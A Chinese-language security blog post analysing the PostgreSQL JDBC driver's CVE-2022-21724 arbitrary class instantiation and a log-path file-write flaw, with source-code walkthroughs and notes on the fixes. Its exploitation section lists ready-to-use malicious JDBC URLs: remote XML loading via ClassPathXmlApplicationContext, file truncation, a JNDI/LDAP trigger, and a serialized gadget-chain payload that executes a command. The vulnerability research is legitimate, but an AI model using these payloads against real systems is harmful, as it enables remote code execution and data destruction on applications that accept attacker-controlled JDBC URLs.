前言
PostgreSql主要有两个漏洞,一个是调用任意String或Properties的构造方法,常与ClassPathXml结合;另一个是修改日志路径实现写文件的漏洞,不过文件前后会有脏字符。
这里简单分析一下两个漏洞并给出利用方法。
CVE-2022-21724
影响版本
x< 42.2.25
42.3.0<=x< 42.3.2
本文选择42.3.0进行分析
漏洞代码

jdbc连接最终会走到org.postgresql.util.ObjectFactory#instantiate
Class.forName会加载静态代码。之后会先尝试获取单Properties参数的构造方法,没有的话,再尝试获取单String参数的构造方法。最后进行newInstance,调用相应的构造方法。
单String构造方法中,最典型的应该就是ClassPathXmlApplicationContext了。
源码分析
从org.postgresql.Driver#connect开始:

首先是要求url以jdbc:postgresql: 开头
后面对url进行解析,一段一段看。

先由 ? 划分urlServer和urlArgs。会再检查一遍是否以jdbc:postgresql: 开头。然后判断后面的部分是不是以// 开头。然后判断urlServer部分,是不是以 / 结尾。是的话,会开始解析host,port,dbname。其中host:port可以有多组,每组以逗号分开。同时,由下面的代码能看出:

如果不以 // 开头,则会添加默认的数据源,即localhost:5432:

接下来开始解析参数部分,会对参数进行一次urldecode:

综上,可以发现,? 前面的部分可以随便写,只要以 / 结尾就行了。
回到connect:

这里的setupLog和后面的任意文件写入有关,后面会单独讲。
之后跟进makeConnection,跟进PgConnection构造方法,再跟进openConnection:

这里会取出参数中的protocolVersion,一般可以不写,要写的话,就只能写3
跟进openConnectionImpl:

这里跟进后,就会触发漏洞代码:

如果不写socketFactory参数,就会设置为默认的工厂,进入下面的逻辑:

大概就是遍历每一个serverUrl,分别调用tryConnect:

在enableSSL方法中,根据目标的返回来进入不同的case,只有返回S的ascii码时,才能正常进入下一步:

convert方法中,也出现了getSocketFactory方法:


同样是可以进入漏洞代码,只是args的名字需要换一下。
除此之外,还有其他地方能够触发,同样是convert方法,跟进下面的verifyPeerName:


不过这里就只能调用Properties的构造方法了。
参考文章里还写了别的利用方式,可以自行阅读。
利用方式
su18师傅已经写的很好了,建议直接看他的,这里就搬运一下。
[1] ClassPathXmlApplicationContext
历史上最经典的利用,ClassPathXmlApplicationContext/FileSystemXmlApplicationContext 通过远程执行 xml 出网来 RCE。需要依赖 spring-context-support。(或者其他自行封装包例如 weblogic 的 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 等)
此种利用方式首先出现在 Jackson 的利用链 CVE-2017-17485 中,后作为单 String 构造方法被广泛利用。
1 | jdbc:postgresql:///?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8000/poc.xml |
关于 ClassPathXmlApplicationContext 的更多利用细节将在后面进行描述。
[2] FileOutputStream/InputStream
FileOutputStream 清空文件,实战中可以配合业务逻辑清空特定文件,达到 RCE 的目的。
1 | jdbc:postgresql:///?socketFactory=java.io.FileOutputStream&socketFactoryArg=/var/www/app/install.lck |
反过来 FileInputStream 可以探测文件是否存在,不过需要看到报错信息来判断。
[3] JLabel
CS RCE 的套娃,需要依赖 batik-swing(对 JDK 环境及版本也有要求)。
1 | jdbc:postgresql:///?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://localhost:8080/1.xml"></object></html> |
[4] MiniAdmin
Mysql 的套娃。需要依赖 mysql-connector-java(这个类高版本才有)。
1 | jdbc:postgresql:///?socketFactory=com.mysql.cj.jdbc.admin.MiniAdmin&socketFactoryArg=jdbc:mysql://127.0.0.1:3306/test?... |
[5] IniEnvironment
在 ActiveMQ 不出网利用中出现的类,可以配合 BCEL 加载以及反序列化,需要依赖 activemq-shiro 以及对应依赖。
根据 Anchor 师傅在先知上发现的文章。有两条不出网的利用链,第一条是 BasicDataSource 配合 BCEL 类加载,需要的依赖和限制有点多,这里就不列举了。
第二条是 ActiveMQObjectMessage#getObject 触发的反序列化
1 | jdbc:postgresql:///?socketFactory=org.apache.activemq.shiro.env.IniEnvironment&socketFactoryArg=%5Bmain%5D%0Abs%20%3D%20org.apache.activemq.util.ByteSequence%0Amessage%20%3D%20org.apache.activemq.command.ActiveMQObjectMessage%0Abs.data%20%3D%20rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA%2Fb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y%2B%2FSZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB%2BAARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX%2BAYIVOACAAB4cAAAAU3K%2Frq%2BAAAAMQAWAQA0b3JnL2FwYWNoZS93aWNrZXQvYmF0aWsvYnJpZGdlL1NWR0Jyb2tlbkxpbmtQcm92aWRlcgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAFAAYKAAQACAEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAB1cQB%2BABAAAAEayv66vgAAADQAEQEANW9yZy9hcGFjaGUvY29tbW9ucy9qYW0vcHJvdmlkZXIvSmFtU2VydmljZUZhY3RvcnlJbXBsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABpKYW1TZXJ2aWNlRmFjdG9yeUltcGwuamF2YQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADAANCgAEAA4BAARDb2RlACEAAgAEAAAAAQAaAAcACAABAAsAAAACAAkAAQABAAwADQABABAAAAARAAEAAQAAAAUqtwAPsQAAAAAAAQAFAAAAAgAGcHQAAWFwdwEAeHEAfgANeA%3D%3D%0Abs.length%20%3D%201628%0Abs.offset%20%3D%200%0Amessage.content%20%3D%20%24bs%0Amessage.trustAllPackages%20%3D%20true%0Amessage.object.x%20%3D%20x |
[6] HikariConfig
柯字辈师傅分享,利用 Properties 方式,走 HikariConfig 触发 JNDI,需要依赖 HikariCP。
1 | jdbc:postgresql:///?socketFactory=com.zaxxer.hikari.HikariConfi&metricRegistry=ldap://127.0.0.1:1389/exp |
[其他] 开发代码
除了上面常见依赖的代码,在一些产品中可能存在能够利用的方式。
例如在 VMWare Workspace ONE Access RCE 中使用 com.vmware.licensecheck.LicenseChecker 二次反序列化来达到不出网利用。
参考项目:https://github.com/sourceincite/hekate
漏洞修复
工厂类实例化时,加上了对预期类的判断。

任意文件写入
影响版本
<42.3.3
漏洞代码
org.postgresql.Driver#setupLoggerFromProperties中,会跟进URL中的参数进行日志设置,从而指定PARENT_LOGGER的日志等级和日志文件名称。

这里的FileHandler的写入路径可以自己指定。

最后会向PARENT_LOGGER中添加新的handler。

紧接着就会对完整url进行日志记录,调用栈如下:

最终会获取到刚刚写入的parentlogger

不过,这样写入的文件前后会有脏字符,如下:
